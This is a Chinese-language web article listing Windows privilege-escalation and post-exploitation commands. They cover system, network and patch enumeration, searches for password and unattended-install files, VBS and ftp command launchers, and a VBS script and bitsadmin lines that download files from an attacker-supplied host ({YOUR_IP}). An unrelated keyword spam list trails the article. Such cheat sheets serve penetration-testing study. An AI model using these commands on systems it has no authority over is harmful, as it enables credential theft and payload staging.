千家信息网

Windows内网渗透提权的实用命令有哪些

发表于:2026-11-02 作者:千家信息网编辑
千家信息网最后更新 2026年11月02日,Windows内网渗透提权的实用命令有哪些,针对这个问题,这篇文章详细介绍了相对应的分析和解答,希望可以帮助更多想解决这个问题的小伙伴找到更简单易行的方法。这不是一篇渗透测试指导,而是简单介绍了几个W
千家信息网最后更新 2026年11月02日Windows内网渗透提权的实用命令有哪些

Windows内网渗透提权的实用命令有哪些,针对这个问题,这篇文章详细介绍了相对应的分析和解答,希望可以帮助更多想解决这个问题的小伙伴找到更简单易行的方法。

这不是一篇渗透测试指导,而是简单介绍了几个Windows内网提权的实用命令,以供我等菜鸟学习观摩,还望大牛包涵指导。

1.获取操作系统信息

识别操作系统名称及版本:

C:\Users\thel3l> systeminfo | findstr /B /C:"OS Name" /C:"OS Version"  OS Name: Microsoft Windows 10 Pro OS Version: 10.0.14393 N/A Build 14393

当然中文系统你得这样:

systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"

识别系统体系结构:

C:\Users\thel3l> echo %PROCESSOR_ARCHITECTURE%  AMD64

查看所有环境变量:

C:\Users\thel3l> SET USERNAME=thel3l USERPROFILE=C:\Users\thel3l *snip*

查看某特定用户信息:

C:\Users\thel3l>net user thel3l  User name thel3l *snip* The command completed successfully

2.获取网络信息

查看路由表信息:

C:\Users\thel3l> route print

查看ARP缓存信息:

C:\Users\thel3l> arp -A

查看防火墙规则:

C:\Users\thel3l> netstat -ano  C:\Users\thel3l> netsh firewall show config  C:\Users\thel3l> netsh firewall show state

3.应用程序及服务信息

查看计划任务:

C:\Users\thel3l> schtasks /QUERY /fo LIST /v

中文系统的命令,先调整GBK编码为437美国编码:

chcp 437

然后

schtasks /QUERY /fo LIST /v

查看服务进程ID:

C:\Users\thel3l> tasklist /SVC

查看安装驱动:

C:\Users\thel3l> DRIVERQUERY

查看安装程序和版本信息(漏洞利用线索):

C:\Users\thel3l> wmic product list brief

查看服务、进程和启动程序信息:

C:\Users\thel3l> wmic service list brief C:\Users\thel3l> wmic process list brief C:\Users\thel3l> wmic startup list brief

查看.msi程序的执行权限:

C:\Users\thel3l> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated C:\Users\thel3l> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

查看是否设置有setuid和setgid:

C:\Users\thel3l>reg query HKEY_Local_Machine\System\CurrentControlSet\Services\NfsSvr\Parameters\SafeSetUidGidBits

查看安装补丁和时间信息:

C:\Users\thel3l> wmic qfe get Caption,Description,HotFixID,InstalledOn

查看特定漏洞补丁信息:

C:\Users\thel3l> wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KBxxxxxxx"

4.敏感数据和目录

查找密码文件或其它敏感文件:

C:\Users\thel3l> cd/ C:\Users\thel3l> dir /b/s password.txt  C:\Users\thel3l> dir /b/s config.*  C:\Users\thel3l> findstr /si password *.xml *.ini *.txt C:\Users\thel3l> findstr /si login *.xml *.ini *.txt

无人值守安装文件:

这些文件通常包含base64模式的密码信息。这类文件在一些大型企业网络或GHO系统中可以发现,文件通常的位置如下:

C:\sysprep.inf C:\sysprep\sysprep.xml C:\Windows\Panther\Unattend\Unattended.xml  C:\Windows\Panther\Unattended.xml

5.文件系统

可以通过调用系统预安装程序语言查看当前可访问目录或文件权限,如python下:

import os; os.system("cmd /c {command here}")

使用copy con命令创建ftp执行会话:

范例

C:\Users\thel3l> copy con ftp.bat #创建一个名为ftp.bat的批处理文件  ftp # 输入执行会话名称,按回车到下一行,之后按CTRL+Z结束编辑,再按回车退出  C:\Users\thel3l> ftp.bat # 执行创建的文件  ftp> # 执行ftp命令  ftp> !{command} # e.g. - !dir or !ipconfig

使用copy con命令创建VBS脚本文件:

C:\Users\thel3l> copy con commandExec.vbs #创建VBS脚本文件  Call WScript.CreateObject("Wscript.Shell").Run("cmd /K {command}", 8, True) #VBS文件内容  C:\Users\thel3l> commandExec.vbs #执行脚本文件

检查文件夹可写状态:

C:\Users\thel3l> dir /a-r-d /s /b

6.一个有用的文件上传脚本

' downloadfile.vbs   ' Set your settings  strFileURL = "http://{YOUR_IP}/{FILE_NAME.EXT}"  strHDLocation = "c:\\{FILE_NAME.EXT}"  ' Fetch the file  Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")  objXMLHTTP.open "GET", strFileURL, false  objXMLHTTP.send()  If objXMLHTTP.Status = 200 Then  Set objADOStream = CreateObject("ADODB.Stream")  objADOStream.Open  objADOStream.Type = 1 'adTypeBinary  objADOStream.Write objXMLHTTP.ResponseBody  objADOStream.Position = 0 'Set the stream position to the start Set objFSO = Createobject("Scripting.FileSystemObject")  If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation  Set objFSO = Nothing  objADOStream.SaveToFile strHDLocation  objADOStream.Close  Set objADOStream = Nothing  End if  Set objXMLHTTP = Nothing

该脚本是一个社区发布的,你可以以下这种方式运行它:

C:\Users\thel3l>cscript.exe downloadfile.vbs

bitsadmin命令:

如果你的目标系统是Windows 7及以上操作系统,你可以使用bitsadmin命令,bitsadmin是一个命令行工具,可用于创建下载上传进程:

范例

C:\Users\thel3l> bitsadmin /transfer job_name /download /priority priority URL local\path\file   C:\Users\thel3l> bitsadmin /transfer mydownloadjob /download /priority normal ^ http://{YOUR_IP}/{FILE_NAME.EXT}   C:\Users\username\Downloads\{FILE_NAME.EXT}

如:

bitsadmin /transfer n http://download.fb.com/file/xx.zip c:\pentest\xx.zip

关于Windows内网渗透提权的实用命令有哪些问题的解答就分享到这里了,希望以上内容可以对大家有一定的帮助,如果你还有很多疑惑没有解开,可以关注行业资讯频道了解更多相关知识。

文件 信息 命令 系统 程序 脚本 实用 操作系统 名称 版本 进程 问题 服务 内容 密码 更多 权限 漏洞 目录 编码 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 互联网的科技 致骋互联网科技 奇酷互联网科技公司 壹账通互联网科技 甘肃拓世互联网科技有限公司 中国最先进互联网科技公司 金融科技与互联网金融相同和不同 来此购互联网科技有限公司 岳阳华臻互联网科技有限公司 天津腾达互联网科技有限公司 深圳艾果互联网通讯科技 世界互联网领先科技成果获奖 保险科技服务互联网营销体系 山东大美朱楼互联网科技有限公司 神州科技互联网有限公司 信承诺互联网科技有限公司 互联网高科技行业有哪些企业 悟空问答互联网科技 青岛互联网科技园 互联网科技快速发展优美句子 智能科技公司是互联网公司吗 中资互联网科技 银优互联网科技有限公司 上游互联网科技 互联网高科技企业 汉立互联网科技有限公司联系电话 佳云科技和互联网广告 本届互联网博览会上的黑科技 华中科技大学互联网的牛人 互联网科技创新方面的资料
0